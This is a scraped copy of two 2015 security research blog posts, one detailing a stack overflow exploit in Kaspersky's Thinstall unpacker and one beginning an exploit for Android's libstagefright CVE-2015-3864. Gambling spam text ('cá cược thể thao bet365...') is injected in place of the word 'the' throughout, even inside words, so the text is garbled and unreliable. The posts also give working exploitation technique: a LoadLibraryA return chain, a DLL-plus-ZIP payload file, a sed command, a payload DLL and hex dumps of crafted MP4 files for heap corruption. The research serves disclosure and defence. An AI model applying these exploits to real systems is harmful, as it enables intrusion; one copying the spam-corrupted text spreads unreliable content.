Tuesday, September 22, 2015

Kaspersky: Mo Unpackers, Mo Problems.

Posted by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 notorious Tavis Ormandy.


We’ve talked before about how we use Google scale to amplify our fuzzing efforts. I’ve recently been working on applying some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se techniques to Antivirus, a vast and highly privileged attack surface.


Among cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 products I’m working on is Kaspersky Antivirus, and I’m currently triaging and analyzing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first round of vulnerabilities I’ve collected. As well as fuzzing, I’ve been auditing and reviewing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 design, resulting in identifying multiple major flaws that Kaspersky are actively working on resolving. These issues affect everything from network intrusion detection, ssl interception and file scanning to browser integration and local privilege escalation.


Many of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reports I’ve filed are still unfixed, but Kaspersky has made enough progress that I can talk about some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issues. One notable observation from this work was that some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most critical vulnerabilities I’ve been submitting were simply too easy to exploit, and I’m happy to report that Kaspersky are rolling out some improved mitigations to resolve that.


Some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bugs Kaspersky has already resolved include vulnerabilities parsing everything from Android DEX files and Microsoft CHM documents to unpacking UPX and Yoda’s Protector. We’ve sent dozens of reports to Kaspersky to investigate, any of which could result in a complete compromise of any Kaspersky Antivirus user.


Let’s examine one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issues in more detail. For this first issue, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 release date of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 definitions in Kaspersky Antivirus (or any ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r products using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Kaspersky engine, such as ZoneAlarm) is after 7-Sep-2015, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability described below is already resolved.


Because antivirus products typically intercept filesystem and network traffic, simply visiting a website or receiving an email is sufficient for exploitation. It is not necessary to open or read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 email, as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 filesystem I/O from receiving cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 email is sufficient to trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploitable condition.


Sample Vulnerability: Thinstall Containers


Thinstall containers are virtualization wrappers around applications to simplify distribution. The product was acquired by VMware in 2008 and renamed VMware ThinApp. Kaspersky attempts to unpack thinstall version 4 containers to scan cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents when it encounters one. Thinstall applications can be recognised by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 magic constants at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir entry point.

pushf
pusha
push 0x6C417453
push 0x6E496854
call $+5
This code triggers cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thinstall unpacker in Kaspersky.


Fuzzing thinstall applications revealed a stack buffer overflow extracting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 container contents. Because Kaspersky did not enable /GS, it is possible to overwrite cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack frame and redirect execution quite simply. Support for /GS was first introduced in Visual Studio 2002, and has been enabled by default for many years. It is possible to disable /GS in your build configuration, but it would be an exceptionally bad idea to do so.


By extracting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 container record responsible for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 overflow, it didn’t take long to reliably gain control of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 instruction pointer.


(8f0.b28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=0be4005c ecx=09f9d810 edx=00000000 esi=0be4005c edi=0d90ef64
eip=41414141 esp=09f9dc5c ebp=43434343 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
41414141 ??              ???
0:084> lmv m avp
start    end        module name
013d0000 01401000   avp        (deferred)             
   Image path: C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 16.0.0\avp.exe
   Image name: avp.exe
   Timestamp:        Thu Jul 23 11:39:44 2015 (55B134F0)
   CheckSum:         00036438
   ImageSize:        00031000
   File version:     16.0.0.625
   Product version:  16.0.0.625
   File flags:       0 (Mask 3F)
   File OS:          40004 NT Win32
   File type:        1.0 App
   File date:        00000000.00000000
   Translations:     0409.04b0
   CompanyName:      Kaspersky Lab ZAO
   ProductName:      Kaspersky Anti-Virus
   InternalName:     avp
   OriginalFilename: avp.exe
   ProductVersion:   16.0.0.625
   FileVersion:      16.0.0.625
   FileDescription:  Kaspersky Anti-Virus
   LegalCopyright:   © 2015 Kaspersky Lab ZAO. All Rights Reserved.
   LegalTrademarks:  Registered trademarks and service marks are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 property of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir respective owners


Exploitation


Kaspersky have enabled /DYNAMICBASE for all of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir modules which should make exploitation unreliable. Unfortunately, a few implementation flaws prevented it from working properly. Multiple PAGE_EXECUTE_READWRITE mappings are created at predictable locations for dynamic code using VirtualAlloc().


0:117> !address 0x7e670000
Usage:                  
Base Address:           7e670000
End Address:            7e671000
Region Size:            00001000
State:                  00001000 MEM_COMMIT
Protect:                00000040 PAGE_EXECUTE_READWRITE
Type:                   00020000 MEM_PRIVATE
Allocation Base:        7e670000
Allocation Protect:     00000040 PAGE_EXECUTE_READWRITE


I dumped cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pages using .writemem, and quickly found a stub for calling kernel32!LoadLibraryA.


0:001> u 0x7e670470
7e670470 58              pop     eax
7e670471 688f49db76      push    offset kernel32!LoadLibraryA (76db498f)
7e670476 c3              ret
7e670477 cc              int     3
7e670478 55              push    ebp
7e670479 8bec            mov     ebp,esp
7e67047b 81ecb0000000    sub     esp,0B0h
7e670481 833d5cff686800  cmp     dword ptr [ushata!UshataInitializeForService+0x1639c (6868ff5c)],0


This would be a useful primitive for exploitation if we could control cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parameters, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no way to know where any useful strings are located. I guessed that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 filename that’s being scanned must be somewhere on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack. After dumping cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack with dda I found it at [esp+0x8f*4].


0:124> dda esp+8e*4 L1
0c85e4cc  0ba21fb8 "C:\exploit.txt"


Note that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 filename or extension being scanned doesn’t matter, I used .txt.


If I could get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit to look like a valid DLL, I could return into LoadLibrary and get it to invoke DllMain(). This code would cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n be loaded into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address space of avp.exe and execute with NT AUTHORITY\SYSTEM privileges.


I built a simple chain to clear cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack and return into LoadLibraryA, and it worked beautifully.


0:124> dda esp L8f
0c85e294  00000000
0c85e298  7e670471 "h.I.v..U....."
0c85e29c  00000000
0c85e2a0  7e670471 "h.I.v..U....."
0c85e2a4  00000000
0c85e2a8  7e670471 "h.I.v..U....."
0c85e2ac  00000000
0c85e4c8  7e670471 "h.I.v..U....."
...
0c85e4cc  0ba21fb8 "C:\exploit.txt"


Unfortunately cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Windows loader is very strict about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 format of DLL’s, and I was unable to get it to accept cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit and still trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability in Kaspersky. This might be possible given more time, but I came up with an alternative strategy instead.


Channelling Corkami


I had already noticed that Kaspersky will scan archives appended to ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r files.


$ cat file.doc file.zip > newfile.doc


So in this case, Kaspersky would spot that a ZIP archive had been appended to a office document, and extract and scan cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents. I wondered if it was possible to put my exploit in a ZIP file, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n append it to a DLL, like this:


$ cat payload.dll exploit.zip > finalexploit.txt

This would mean Kaspersky would see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ZIP file appended to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DLL and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n scan my exploit, but Windows would see a valid DLL. Note that filenames and extensions don’t matter here, it is perfectly legal to LoadLibrary(“anything.txt”).


I was able to trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit this way, but unfortunately cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 filename on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack was now written differently! When scanning inside an archive Kaspersky renders cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 filename like this:


C:\exploit.zip//exploit.txt


That is not a pathname that LoadLibraryA would accept. My solution was to modify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 zip header to name cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file “”, i.e. an empty string, when Kaspersky produces cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 filename it appends cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 empty string and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 filename is still a valid target for LoadLibraryA.


I just used sed like this:


$ sed -i 's/e\(xploit.txt\)/\x00\1/' exploit.zip
I wrote a quick payload dll to load:


$ cat wrapper.c
#include

#pragma comment(lib, "shell32")

BOOLEAN WINAPI DllMain(HINSTANCE hDllHandle, DWORD nReason, LPVOID Reserved)
{
   ShellExecute(NULL, "open", "calc", NULL, NULL, 0);
   ExitProcess(0);
   return 1;
}
And cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit worked beautifully first time.


Windows 7-2015-09-04-19-35-34.png


I verified cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit worked on version 15 and 16 of Kaspersky Antivirus on Windows 7. Note that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 calculator is displayed on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Service Desktop, so you will need to use Process Explorer to verify it was created.

Product Design Flaws


I’ve also reported some major design flaws in various ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r components of Kaspersky Antivirus and Kaspersky Internet Security. The patches for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 remote network attacks I had planned to discuss here were delayed, and so I’ll talk about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in a second post on this topic once cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fixes are live.


Security  Software Considered Harmful?


We have strong evidence that an active black market trade in antivirus exploits exists. Research shows that it’s an easily accessible attack surface that dramatically increases exposure to targeted attacks.


Snippet of an exploit pricelist uncovered by WikiLeaks, source. The pricelist demonstrates that anti virus exploits and information  are actively traded.


For this reason, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vendors of security products have a responsibility to uphold cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 highest secure development standards possible to minimise cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 potential for harm caused by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir software.


Ignoring cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 question of efficacy, attempting to reduce one’s exposure to opportunistic malware should not result in an increased exposure to targeted attacks.


Conclusion


In future, we would like to see antivirus unpackers, emulators and parsers sandboxed, not run with SYSTEM privileges. The chromium sandbox is open source and used in multiple major products. Don’t wait for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network worm that targets your product, or for targeted attacks against your users, add sandboxing to your development roadmap today.


I’ve previously written about Sophos and ESET, but plan to research ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r vendors soon.

Thanks to Kaspersky for record breaking response times when handling this report, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y’ve set a high bar to beat for ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r vendors! More Kaspersky issues, including multiple remote code execution vulnerabilities, should be fixed and visible in our issue tracker over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 next few weeks.

Wednesday, September 16, 2015

Stagefrightened?

Posted by Mark Brand, Bypasser of Mitigations

There’s been a lot of attention recently around a number of vulnerabilities in Android’s libstagefright. There’s been a lot of confusion about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 remote exploitability of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issues, especially on modern devices. In this blog post we will demonstrate an exploit for one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 libstagefright vulnerabilities that works on recent Android versions (Android 5.0+ on Nexus 5).

The vulnerability (CVE-2015-3864) that we’ve chosen to exploit is an imperfect patch for one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issues reported by Joshua Drake, which has been fixed for Nexus devices in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 September bulletin. Several parties noticed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 problem, including at least Exodus Intel and Natalie Silvanovich of Project Zero. It’s a promising looking bug from an exploitation perspective: a linear heap-overflow giving cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker control over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocation; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 amount of overflow, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 overflowed memory region.

The vulnerable code is in handling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ‘tx3g’ chunk type when parsing MPEG4 video files. Here’s cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original vulnerable code:

Note when reading that chunk_size is a uint64_t that is parsed from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file; it’s completely controlled by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker and is not validated with regards to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 remaining data available in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file.
case FOURCC('t', 'x', '3', 'g'):
{
   uint32_t type;
   const void *data;
   size_t size = 0;
   if (!mLastTrack->meta->findData(
           kKeyTextFormatData, &type, &data, &size)) {
       size = 0;
   }
   uint8_t *buffer = new uint8_t[size + chunk_size]; // <---- Integer overflow here
   if (size > 0) {
       memcpy(buffer, data, size);                   // <---- Oh dear.
   }
   if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
           < chunk_size) {
       delete[] buffer;
       buffer = NULL;
       return ERROR_IO;
   }
   mLastTrack->meta->setData(
           kKeyTextFormatData, 0, buffer, size + chunk_size);
   delete[] buffer;
   *offset += chunk_size;
   break;
}
And with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 patch applied:
case FOURCC('t', 'x', '3', 'g'):
{
   uint32_t type;
   const void *data;
   size_t size = 0;
   if (!mLastTrack->meta->findData(
           kKeyTextFormatData, &type, &data, &size)) {
       size = 0;
   }
   if (SIZE_MAX - chunk_size <= size) { // <---- attempt to prevent overflow
       return ERROR_MALFORMED;
   }
   uint8_t *buffer = new uint8_t[size + chunk_size];
   if (size > 0) {
       memcpy(buffer, data, size);
   }
   if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
           < chunk_size) {
       delete[] buffer;
       buffer = NULL;
       return ERROR_IO;
   }
   mLastTrack->meta->setData(
           kKeyTextFormatData, 0, buffer, size + chunk_size);
   delete[] buffer;
   *offset += chunk_size;
   break;
}
The issue with this patch is that chunk_size actually doesn’t have type size_t; it is a uint64_t even on 32-bit platforms (most Android devices are currently 32-bit, and currently cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mediaserver is a 32-bit process even on 64-bit Android devices). While cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 check appears to a casual glance to be sufficient; it is not; chunk_size can be larger than SIZE_MAX, causing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 check to pass.
My first step towards exploiting a bug is usually to establish proof-of-vulnerability; in this case we should definitely be able to crash cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mediaserver by triggering this issue, so let’s do just that and put togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r a simple crash case.

We first need a file that will be detected by libstagefright as an MPEG4 and parsed accordingly; looking at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file sniffing code, we need to start with an ‘ftyp’ chunk near cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 start of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file.

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d                                isom

Note cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 structure of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chunk; we have a 4-byte big-endian chunk size, and 4-byte tag followed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chunk data.

Now, if we just add a ‘tx3g’ chunk, we’ll encounter a different bug!
case FOURCC('t', 'x', '3', 'g'):
{
   uint32_t type;
   const void *data;
   size_t size = 0;
   if (!mLastTrack->meta->findData( // <---- mLastTrack is NULL, SIGSEGV...
           kKeyTextFormatData, &type, &data, &size)) {
       size = 0;
   }
So we need to have at least one track before we can actually reach cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerable code. The ‘trak’ chunk will initialise mLastTrack, and acts as a container for additional chunks.

New ‘trak’ chunk

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018  isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141  tx3gAAAAAAAAAAAA
0000030: 4141 4141                                AAAA

And highlighting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ‘tx3g’ chunk contained in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ‘trak’ chunk.

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018  isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141  tx3gAAAAAAAAAAAA
0000030: 4141 4141                                AAAA

So, this file will get us into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ‘tx3g’ case once; but it won’t trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability. In order to do that, we need to visit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 case again with anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r chunk, this time with a chunk_size large enough to trigger an overflow. Keeping things simple, we’ll supply a chunk_size of -1 = 0xffffffffffffffff.

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018  isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141  tx3gAAAAAAAAAAAA
0000030: 4141 4141 0000 0001 7478 3367 ffff ffff  AAAA....tx3g....
0000040: ffff ffff 4242 4242 4242 4242 4242 4242  ....BBBBBBBBBBBB
0000050: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
0000060: 4242 4242                                BBBB

Notice that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 structure of this second chunk is a little different; we have to use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extended chunk_size code path triggered by a chunk_size of 1 in order to set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 full 64-bit chunk_size.

We now have a simple file to trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue; when I open this file in Chrome on my Nexus 5 with some extra debugging code, printing some useful information to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Android system logs:

MPEG4Extractor: Identified supported mpeg4 through LegacySniffMPEG4.
MPEG4Extractor: trak: new Track[20] (0xb6048160)
MPEG4Extractor: trak: mLastTrack = 0xb6048160
MPEG4Extractor: tx3g: size 0 chunk_size 24
MPEG4Extractor: tx3g: new[24] (0xb6048130)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048130, 24)
MPEG4Extractor: tx3g: size 24 chunk_size 18446744073709551615
MPEG4Extractor: tx3g: new[23] (0xb6048130)
MPEG4Extractor: tx3g: memcpy(0xb6048130, 0xb6048148, 24)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048148, 18446744073709551615)

We can clearly see here that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 input file triggered two allocations by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parser on handling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 two ‘tx3g’ chunks, and that we’re definitely writing data out-of-bounds of our allocated memory in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last two lines.

Since we’re only overflowing a handful of bytes, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap allocator in use on this Android version is based on jemalloc, it’s relatively unlikely that we’ll overwrite anything important and see a crash with such a small overwrite. Modifying cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PoC file so that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parser will write a big old chunk of bytes instead should get us a demonstrable crash; that’s as simple as adding more ‘B’s to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file and fixing up cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chunk lengths; this is left as an exercise for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 interested reader.

We need a few heap-manipulation primitives to get things set up in a dependable fashion. The first thing that I looked for was a primitive to allocate blocks of memory - this will be used for a number of different things in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit. Fortunately, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s a good primitive available in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handling for ‘pssh’ chunks:

case FOURCC('p', 's', 's', 'h'):
{
   *offset += chunk_size;
   PsshInfo pssh;
   if (mDataSource->readAt(data_offset + 4, &pssh.uuid, 16) < 16) {
       return ERROR_IO;
   }
   uint32_t psshdatalen = 0;
   if (mDataSource->readAt(data_offset + 20, &psshdatalen, 4) < 4) {
       return ERROR_IO;
   }
   // pssh.datalen is set to a size we control
   pssh.datalen = ntohl(psshdatalen);
   ALOGV("pssh data size: %d", pssh.datalen);
   if (pssh.datalen + 20 > chunk_size) {
       // pssh data length exceeds size of containing box
       return ERROR_MALFORMED;
   }
   // pssh.data is an allocated block of memory of a size we control
   pssh.data = new (std::nothrow) uint8_t[pssh.datalen];
   if (pssh.data == NULL) {
       return ERROR_MALFORMED;
   }
   ALOGV("allocated pssh @ %p", pssh.data);
   ssize_t requested = (ssize_t) pssh.datalen;
   // now we read data we control into that allocation
   if (mDataSource->readAt(data_offset + 24, pssh.data, requested) < requested) {
       return ERROR_IO;
   }
   // and store it, so cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocation lives for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lifetime of our MPEG4Extractor
   // (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se pssh blocks are in fact released in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 destructor for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MPEG4Extractor)
   mPssh.push_back(pssh);
   break;
}

This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first component of our heap-groom; we can use up any fragmented allocations in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size class that we want, ensuring that furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r allocations are likely to be contiguous.

Now we want a second primitive; allocations that we can control both cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocation and release of. There are a lot of places where allocations occur during parsing of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mp4, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most useful for this purpose that I found were cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handlers for two chunk types, ‘avcC’ and ‘hvcC’. When handling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se chunk types, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parser will allocate a block of memory and store it; and replace that allocation with a new one when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parser encounters a second chunk of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same type.

case FOURCC('a', 'v', 'c', 'C'):
{
   *offset += chunk_size;
   sp buffer = new ABuffer(chunk_data_size);
   if (mDataSource->readAt(
               data_offset, buffer->data(), chunk_data_size) < chunk_data_size) {
       return ERROR_IO;
   }
   // this internally copies buffer->data() into a buffer of size chunk_data_size, and
   // releases cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 previously stored data.
   mLastTrack->meta->setData(
           kKeyAVCC, kTypeAVCC, buffer->data(), chunk_data_size);
   break;
}

The plan to gain control of execution is to arrange for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 overflow to overwrite an object of type MPEG4DataSource. This is an object of size 32 bytes (on my phone), which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parser allocates when it encounters an ‘stbl’ chunk. The new data source is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n used for parsing all sub-chunks contained within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ‘stbl’ chunk. So our aim is to create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following situation:
case FOURCC('t', 'x', '3', 'g'):
{
   uint32_t type;
   const void *data;
   size_t size = 0;
   if (!mLastTrack->meta->findData(
           kKeyTextFormatData, &type, &data, &size)) {
       size = 0;
   }
   if (SIZE_MAX - chunk_size <= size) {  
       return ERROR_MALFORMED;
   }
   // overflow here, so that size + chunk_size == 32 and size > 32
   uint8_t *buffer = new uint8_t[size + chunk_size];
   // buffer is allocated immediately before mDataSource
   if (size > 0) {
       // this will overflow and corrupt cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mDataSource vtable
       memcpy(buffer, data, size);
   }
   // this call goes through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 corrupt vtable, and we get control of execution
   if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
           < chunk_size) {
So, we need to arrange our heap carefully so that we can ensure a free space directly before cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocated MPEG4DataSource.

First we need to make a couple of small sized allocation chunks; a small ‘avcC’ chunk and ‘hvcC’ chunk. These trigger additional temporary allocations in sizes that will interfere with our groom allocations, so we get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m out of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way before we start laying out memory.

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0028 7472 616b 0000 0010  isom... trak....
0000020: 6176 6343 4141 4141 4141 4141 0000 0010  avcCAAAAAAAA....
0000030: 6876 6343 4848 4848 4848 4848            hvcCHHHHHHHH

